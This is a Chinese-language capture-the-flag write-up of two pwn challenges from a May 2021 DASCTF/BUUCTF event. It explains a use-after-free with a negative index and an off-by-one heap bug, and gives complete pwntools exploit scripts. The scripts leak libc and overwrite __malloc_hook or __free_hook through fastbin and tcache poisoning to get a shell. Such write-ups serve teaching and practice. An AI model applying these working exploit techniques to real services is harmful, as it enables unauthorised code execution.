DASCTF_BUUCTF_May_pwn_wp

注意
本文最后更新于 2021-05-29,文中内容可能已过时。

能在buuctf上打比赛还是很舒服的,两道pwn题比较基础,wp就随便写一下啦!

1、ticket

checksec

image-20210529205152160

运行环境为ubuntu16.04libc-2.23.so

题目分析

常见的菜单题,这里主要分析一下bss段的数据分布:

image-20210529205623751

需要注意的地方有:

  • 可以添加0≤ idx <=5ticket堆块,但是只能删除idx < 3ticket堆块
  • 基本上围绕ticket的操作都是以heap_size来进行判断的,而且释放堆块后对应的大小会置为0
  • edit_infoshow_info似乎并没有什么用

漏洞分析

漏洞点在于两个地方,都在del_ticket函数中。

第一处是未校验索引大小,使得索引可以为负数。

第二处是存在UAF,可以利用残留信息泄露出libc地址。释放堆块的时候只把存储size的地方置为了0,指针没有置空。

image-20210529204826881

利用思路

bss堆布局可以看到,age的值可控,因此可以将age写为bss地址,然后释放掉bss_fake_chunk,控制索引为23chunk的大小,可以越界写。

image-20210529210159875

利用步骤即为:

  • 利用unsorted bin残留的信息泄露出libc地址
  • 利用del_ticket(-3)释放bss_fake_chunk
  • 控制chunk的大小,使得能越界写chunk
  • 利用越界写,构造一个freed 0x70大小的chunk,修改其fd__malooc_hook - 0x23
  • 利用realloc + one_gadget来获取shell

最终exp

调试过程

释放假的chunk

image-20210529214331150

越界修改fd

image-20210529214430684

修改realloc_hookmalloc_hook

image-20210529214528797

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *

LOG_ADDR = lambda x, y: "{} ---> {}".format(x, hex(y))
sh = process('./ticket')
libc = ELF('./libc-2.23.so')
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.update(arch="amd64", endian="little", os='linux')

def welcome(name, saying, age:int):
    sh.sendafter("Your name: \n", name)
    sh.sendafter("what do you want to say before take off(wu hu qi fei): \n", saying)
    sh.sendlineafter("Your age: \n", str(age))


def add_ticket(idx, size):
    sh.sendlineafter(">> ", '1')
    sh.sendlineafter("Index: \n", str(idx))
    sh.sendlineafter("Remarks size: \n", str(size))
    sh.recvline()


def del_ticket(idx):
    sh.sendlineafter(">> ", '2')
    sh.sendlineafter("Index: \n", str(idx))
    sh.recvline()


def edit_ticket(idx, remark):
    sh.sendlineafter(">> ", '3')
    sh.sendlineafter("Index: \n", str(idx))
    sh.sendafter("Your remarks: \n", remark)
    sh.recvline()

def show_ticket(idx):
    sh.sendlineafter(">> ", '4')
    sh.sendlineafter("Index: \n", str(idx))
    msg = sh.recvline()
    log.info("msg recv:{}".format(msg))
    return msg

# construct a fake-chunk at bss segment
welcome("xxxx", "xxxx", 0x6020e0)
add_ticket(1, 0x21) # chunk1
add_ticket(2, 0x100)
add_ticket(3, 0x10)
add_ticket(5, 0x21)

# free fake-chunk
del_ticket(-3)

# re-malloc fake-chunk by chunk0
add_ticket(0, 0x18)

# recover chunk2's size and reset chunk3's size
edit_ticket(0, p64(0x100) + p64(0))

# leak libc addr
del_ticket(2)
add_ticket(2, 0x100)
msg = show_ticket(2)
leak_libc_addr = u64(msg[-7:-1] + b"\x00\x00")
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr

# calc some useful address
target_addr = libc.sym["__malloc_hook"] - 0x23
system_addr = libc.sym['system']
realloc_addr = libc.sym['realloc']
one_gadget = libc.offset_to_vaddr(gadgets[1])

# change chunk2's size to overflow
edit_ticket(0, p64(0x10000))

# get freed 0x70 chunk
del_ticket(1)
add_ticket(1, 0x60)
del_ticket(1)

# change free-chunk's fd-ptr to target_addr
layout = [[0] * 32, 0x110, 0x21, [0] * 3, 0x31, [0] * 5, 0x71, target_addr]
edit_ticket(2, flat(layout))

# fastbin attack
add_ticket(1, 0x60)
add_ticket(3, 0x60)
layout = [0xb * "a", one_gadget, realloc_addr + 0xd]
edit_ticket(3, flat(layout))

# get shell by malloc_hook(one_gadget)
sh.sendlineafter(">> ", "5")

sh.interactive()

远程打:

image-20210529214744617

2、 card

checksec

image-20210529221936646

运行环境为ubuntu18.04libc-2.27.so

题目分析

写得花里胡哨的菜单题,有mallocfreeeditshow功能,先来看bss段布局:

image-20210529222539237

分布很简单,左边存储用户输入的大小,右边存储分配的指针

需要注意的有:

  • 所有的chunk的大小限定在0-256之间
  • 根据libc判断出来堆会使用tcache bin机制

漏洞分析

call函数存在一个off by one

image-20210529222944848

可以直接把0-256之间的每个数带进去算一遍,很多数都会使得v0+v1 = v0+1,部分数会让v1计算得到0

利用思路

带有tcache bin机制的off by one,直接利用unlink,搞个0x90---0x20---0x90的三明治,然后覆盖__free_hooksystem,释放带有/bin/sh的块即可获得shell

详细利用步骤为:

  • 填满0x90大小的tcache bin
  • 构造三明治布局,0x90---0x20---0x90
  • 利用off by oneunlink,得到0x140的块,并包含释放状态的0x20的堆块
  • 利用堆残留指针泄露出libc地址
  • 修改freed chunk 0x20fd指针为__free_hook地址
  • tcache bin posioning覆盖__free_hooksystem地址
  • 释放带有/bin/sh的块获取shell

最终exp

调试过程

off by one修改pre_inuse位:

image-20210529231331105

unlink

image-20210529231440625

泄露地址并修改fd指针:

image-20210529231516464

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

LOG_ADDR = lambda x, y: "{} ---> {}".format(x, hex(y))
sh = process('./pwn')
libc = ELF('./libc.so')
context.update(arch="amd64", os='linux', endian="little")

def fight(idx, size, data="a"):
    sh.sendlineafter("choice:", "1")
    sh.sendlineafter("please choice your card:", str(idx))
    sh.sendlineafter("Infuse power:\n", str(size))
    sh.sendafter("quickly!", data)


def call(idx, data):
    sh.sendlineafter("choice:", "2")
    sh.sendlineafter("please choice your card\n", str(idx))
    sh.sendafter("start your bomb show\n", data)

    
def play(idx):
    sh.sendlineafter("choice:", "3")
    sh.sendlineafter("Which card:", str(idx))


def show(idx):
    sh.sendlineafter("choice:", "4")
    sh.sendlineafter("index:", str(idx))
    sh.recvuntil("dedededededede:")
    msg = sh.recvuntil("Dededededededede~~~~~~~~~~\n")
    log.info("msg recv:{}".format(msg))
    return msg


# malloc 7 chunks
for i in range(7):
    fight(i, 0x80)

# get sandwich-chunk
fight(7, 0x80)
fight(8, 0x18)
fight(9, 0x80)
fight(10, 0x10, "/bin/sh\x00") # gap top-chunk

# fulfill tcache bin[0x90]
for i in range(7):
    play(i)

play(7)
# off by one
call(8, b"a" * 0x10 + p64(0xb0) + b"\x90")

# unlink
play(8)
play(9)

# leak_addr
fight(0, 0xa0, "a" * 8)
msg = show(0)
leak_libc_addr = u64(msg[8:16])
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3ebdd0
libc.address = libc_base_addr

# change fd-ptr
call(0, b"a" * 0x88 + p64(0x21) + p64(libc.sym['__free_hook']))

# tcache bin attack
fight(1, 0x10)
fight(2, 0x10, p64(libc.sym['system']))

# get shell
play(10)

sh.interactive()

远程打:

image-20210529231636060

博客地址

https://roderickchan.github.io/

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%